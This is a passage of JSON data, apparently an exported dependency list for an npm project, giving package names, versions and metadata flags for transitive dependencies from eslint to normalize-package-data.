se,"kind":"runtime","optional":false},{"id":15893743987,"package_name":"eslint-plugin-prettier","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743988,"package_name":"eslint-scope","ecosystem":"npm","requirements":"7.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893743989,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.4.3","direct":false,"kind":"runtime","optional":false},{"id":15893743990,"package_name":"eslint","ecosystem":"npm","requirements":"8.48.0","direct":false,"kind":"runtime","optional":false},{"id":15893743991,"package_name":"espree","ecosystem":"npm","requirements":"9.6.1","direct":false,"kind":"runtime","optional":false},{"id":15893743992,"package_name":"esprima","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743993,"package_name":"esquery","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743994,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743995,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743996,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743997,"package_name":"etag","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"runtime","optional":false},{"id":15893743998,"package_name":"eventemitter3","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743999,"package_name":"eventemitter3","ecosystem":"npm","requirements":"4.0.7","direct":false,"kind":"runtime","optional":false},{"id":15893744000,"package_name":"eventemitter3","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744001,"package_name":"execa","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744002,"package_name":"execa","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744003,"package_name":"exit","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744004,"package_name":"expect","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744005,"package_name":"express-graphql","ecosystem":"npm","requirements":"0.11.0","direct":false,"kind":"runtime","optional":false},{"id":15893744006,"package_name":"express","ecosystem":"npm","requirements":"4.18.2","direct":false,"kind":"runtime","optional":false},{"id":15893744007,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893744008,"package_name":"fast-diff","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744009,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744010,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744011,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893744012,"package_name":"fast-safe-stringify","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744013,"package_name":"fastq","ecosystem":"npm","requirements":"1.15.0","direct":false,"kind":"runtime","optional":false},{"id":15893744014,"package_name":"fb-watchman","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744015,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744016,"package_name":"fill-range","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744017,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744018,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744019,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744020,"package_name":"find-up","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744021,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744022,"package_name":"flat-cache","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744023,"package_name":"flatted","ecosystem":"npm","requirements":"3.2.7","direct":false,"kind":"runtime","optional":false},{"id":15893744024,"package_name":"follow-redirects","ecosystem":"npm","requirements":"1.15.2","direct":false,"kind":"runtime","optional":false},{"id":15893744025,"package_name":"form-data","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744026,"package_name":"formidable","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744027,"package_name":"forwarded","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744028,"package_name":"fresh","ecosystem":"npm","requirements":"0.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893744029,"package_name":"fs-extra","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744030,"package_name":"fs-extra","ecosystem":"npm","requirements":"11.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744031,"package_name":"fs-extra","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744032,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744033,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.3","direct":false,"kind":"runtime","optional":false},{"id":15893744034,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744035,"package_name":"gensync","ecosystem":"npm","requirements":"1.0.0-beta.2","direct":false,"kind":"runtime","optional":false},{"id":15893744036,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893744037,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744038,"package_name":"get-package-type","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744039,"package_name":"get-port","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744040,"package_name":"get-stream","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744041,"package_name":"get-uri","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744042,"package_name":"git-raw-commits","ecosystem":"npm","requirements":"2.0.11","direct":false,"kind":"runtime","optional":false},{"id":15893744043,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744044,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744045,"package_name":"glob","ecosystem":"npm","requirements":"7.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893744046,"package_name":"global-dirs","ecosystem":"npm","requirements":"0.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744047,"package_name":"globals","ecosystem":"npm","requirements":"11.12.0","direct":false,"kind":"runtime","optional":false},{"id":15893744048,"package_name":"globals","ecosystem":"npm","requirements":"13.21.0","direct":false,"kind":"runtime","optional":false},{"id":15893744049,"package_name":"globby","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744050,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.11","direct":false,"kind":"runtime","optional":false},{"id":15893744051,"package_name":"graphemer","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744052,"package_name":"graphql-subscriptions","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744053,"package_name":"graphql-tag","ecosystem":"npm","requirements":"2.12.6","direct":false,"kind":"runtime","optional":false},{"id":15893744054,"package_name":"graphql","ecosystem":"npm","requirements":"15.8.0","direct":false,"kind":"runtime","optional":false},{"id":15893744055,"package_name":"hard-rejection","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744056,"package_name":"has-flag","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744057,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744058,"package_name":"has-proto","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744059,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744060,"package_name":"has","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744061,"package_name":"hexoid","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744062,"package_name":"hosted-git-info","ecosystem":"npm","requirements":"2.8.9","direct":false,"kind":"runtime","optional":false},{"id":15893744063,"package_name":"hosted-git-info","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744064,"package_name":"html-escaper","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744065,"package_name":"http-encoding","ecosystem":"npm","requirements":"1.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893744111,"package_name":"http-errors","ecosystem":"npm","requirements":"1.8.0","direct":false,"kind":"runtime","optional":false},{"id":15893744116,"package_name":"http-errors","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744120,"package_name":"http-errors","ecosystem":"npm","requirements":"1.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744122,"package_name":"http-proxy-agent","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744126,"package_name":"http-proxy","ecosystem":"npm","requirements":"1.18.1","direct":false,"kind":"runtime","optional":false},{"id":15893744129,"package_name":"http2-wrapper","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744133,"package_name":"https-proxy-agent","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744137,"package_name":"https-proxy-agent","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744140,"package_name":"human-signals","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744144,"package_name":"human-signals","ecosystem":"npm","requirements":"4.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744147,"package_name":"husky","ecosystem":"npm","requirements":"8.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744151,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.4.24","direct":false,"kind":"runtime","optional":false},{"id":15893744154,"package_name":"ignore","ecosystem":"npm","requirements":"5.2.4","direct":false,"kind":"runtime","optional":false},{"id":15893744157,"package_name":"immutable","ecosystem":"npm","requirements":"3.8.2","direct":false,"kind":"runtime","optional":false},{"id":15893744161,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744164,"package_name":"import-local","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744168,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":15893744171,"package_name":"indent-string","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744175,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893744178,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893744181,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744184,"package_name":"ini","ecosystem":"npm","requirements":"1.3.8","direct":false,"kind":"runtime","optional":false},{"id":15893744187,"package_name":"ip","ecosystem":"npm","requirements":"1.1.8","direct":false,"kind":"runtime","optional":false},{"id":15893744190,"package_name":"ip","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744193,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":15893744197,"package_name":"is-arrayish","ecosystem":"npm","requirements":"0.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744201,"package_name":"is-binary-path","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744204,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.13.0","direct":false,"kind":"runtime","optional":false},{"id":15893744208,"package_name":"is-docker","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744211,"package_name":"is-docker","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744214,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744218,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744221,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744225,"package_name":"is-generator-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744227,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744230,"package_name":"is-inside-container","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744233,"package_name":"is-number-like","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"runtime","optional":false},{"id":15893744238,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744240,"package_name":"is-obj","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744244,"package_name":"is-path-inside","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744248,"package_name":"is-plain-obj","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744251,"package_name":"is-plain-obj","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744254,"package_name":"is-stream","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744259,"package_name":"is-stream","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744263,"package_name":"is-text-path","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744267,"package_name":"is-wsl","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744270,"package_name":"is-wsl","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744273,"package_name":"isarray","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744276,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744279,"package_name":"isomorphic-ws","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744283,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744286,"package_name":"istanbul-lib-instrument","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744290,"package_name":"istanbul-lib-instrument","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744295,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744297,"package_name":"istanbul-lib-source-maps","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744298,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"3.1.6","direct":false,"kind":"runtime","optional":false},{"id":15893744299,"package_name":"iterall","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744300,"package_name":"jest-changed-files","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744301,"package_name":"jest-circus","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744302,"package_name":"jest-cli","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744303,"package_name":"jest-config","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744304,"package_name":"jest-diff","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744305,"package_name":"jest-docblock","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744306,"package_name":"jest-each","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744307,"package_name":"jest-environment-node","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744308,"package_name":"jest-get-type","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744309,"package_name":"jest-haste-map","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744310,"package_name":"jest-leak-detector","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744311,"package_name":"jest-matcher-utils","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744312,"package_name":"jest-message-util","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744313,"package_name":"jest-mock","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744314,"package_name":"jest-pnp-resolver","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893744315,"package_name":"jest-regex-util","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744316,"package_name":"jest-resolve-dependencies","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744317,"package_name":"jest-resolve","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744318,"package_name":"jest-runner","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744319,"package_name":"jest-runtime","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744320,"package_name":"jest-snapshot","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744321,"package_name":"jest-util","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744322,"package_name":"jest-validate","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744323,"package_name":"jest-watcher","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744324,"package_name":"jest-worker","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744325,"package_name":"jest","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893744326,"package_name":"js-tokens","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744327,"package_name":"js-yaml","ecosystem":"npm","requirements":"3.14.1","direct":false,"kind":"runtime","optional":false},{"id":15893744328,"package_name":"js-yaml","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744329,"package_name":"jsesc","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893744330,"package_name":"json-buffer","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744331,"package_name":"json-parse-even-better-errors","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744332,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893744333,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744334,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744335,"package_name":"json5","ecosystem":"npm","requirements":"2.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893744336,"package_name":"jsonfile","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744337,"package_name":"jsonfile","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744338,"package_name":"jsonfile","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744339,"package_name":"jsonparse","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744340,"package_name":"keyv","ecosystem":"npm","requirements":"4.5.3","direct":false,"kind":"runtime","optional":false},{"id":15893744341,"package_name":"kind-of","ecosystem":"npm","requirements":"6.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744342,"package_name":"kleur","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744343,"package_name":"leven","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744344,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893744345,"package_name":"lilconfig","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744346,"package_name":"limiter","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"runtime","optional":false},{"id":15893744347,"package_name":"lines-and-columns","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":15893744348,"package_name":"lint-staged","ecosystem":"npm","requirements":"14.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744349,"package_name":"listr2","ecosystem":"npm","requirements":"6.6.1","direct":false,"kind":"runtime","optional":false},{"id":15893744350,"package_name":"localtunnel","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744351,"package_name":"locate-path","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744352,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744353,"package_name":"lodash.camelcase","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744354,"package_name":"lodash.isfinite","ecosystem":"npm","requirements":"3.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893744355,"package_name":"lodash.isfunction","ecosystem":"npm","requirements":"3.0.9","direct":false,"kind":"runtime","optional":false},{"id":15893744356,"package_name":"lodash.isplainobject","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893744357,"package_name":"lodash.kebabcase","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744358,"package_name":"lodash.memoize","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744359,"package_name":"lodash.merge","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"runtime","optional":false},{"id":15893744360,"package_name":"lodash.mergewith","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"runtime","optional":false},{"id":15893744361,"package_name":"lodash.snakecase","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744362,"package_name":"lodash.startcase","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744363,"package_name":"lodash.uniq","ecosystem":"npm","requirements":"4.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893744364,"package_name":"lodash.upperfirst","ecosystem":"npm","requirements":"4.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744365,"package_name":"lodash","ecosystem":"npm","requirements":"4.17.21","direct":false,"kind":"runtime","optional":false},{"id":15893744366,"package_name":"log-update","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744367,"package_name":"lru-cache","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744368,"package_name":"lru-cache","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744369,"package_name":"lru-cache","ecosystem":"npm","requirements":"7.18.3","direct":false,"kind":"runtime","optional":false},{"id":15893744370,"package_name":"make-dir","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744371,"package_name":"make-error","ecosystem":"npm","requirements":"1.3.6","direct":false,"kind":"runtime","optional":false},{"id":15893744372,"package_name":"makeerror","ecosystem":"npm","requirements":"1.0.12","direct":false,"kind":"runtime","optional":false},{"id":15893744373,"package_name":"map-obj","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744374,"package_name":"map-obj","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744375,"package_name":"media-typer","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744376,"package_name":"meow","ecosystem":"npm","requirements":"8.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744377,"package_name":"merge-descriptors","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744378,"package_name":"merge-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744379,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893744380,"package_name":"methods","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744381,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893744382,"package_name":"mime-db","ecosystem":"npm","requirements":"1.52.0","direct":false,"kind":"runtime","optional":false},{"id":15893744383,"package_name":"mime-types","ecosystem":"npm","requirements":"2.1.35","direct":false,"kind":"runtime","optional":false},{"id":15893744384,"package_name":"mime","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893744385,"package_name":"mime","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893744386,"package_name":"mime","ecosystem":"npm","requirements":"2.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893744387,"package_name":"mimic-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744388,"package_name":"mimic-fn","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744389,"package_name":"min-indent","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744390,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744391,"package_name":"minimist-options","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744392,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"runtime","optional":false},{"id":15893744393,"package_name":"mitt","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744394,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"runtime","optional":false},{"id":15893744395,"package_name":"mockttp","ecosystem":"npm","requirements":"3.9.2","direct":false,"kind":"runtime","optional":false},{"id":15893744396,"package_name":"ms","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744397,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744398,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893744399,"package_name":"native-duplexpair","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744400,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744401,"package_name":"negotiator","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744402,"package_name":"netmask","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744403,"package_name":"node-fetch","ecosystem":"npm","requirements":"2.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893744404,"package_name":"node-forge","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744405,"package_name":"node-int64","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744406,"package_name":"node-releases","ecosystem":"npm","requirements":"2.0.13","direct":false,"kind":"runtime","optional":false},{"id":15893744407,"package_name":"normalize-package-data","ecosystem":"npm","requirements":"2.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893744408,"package_name":"normalize-package-data","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744409,"package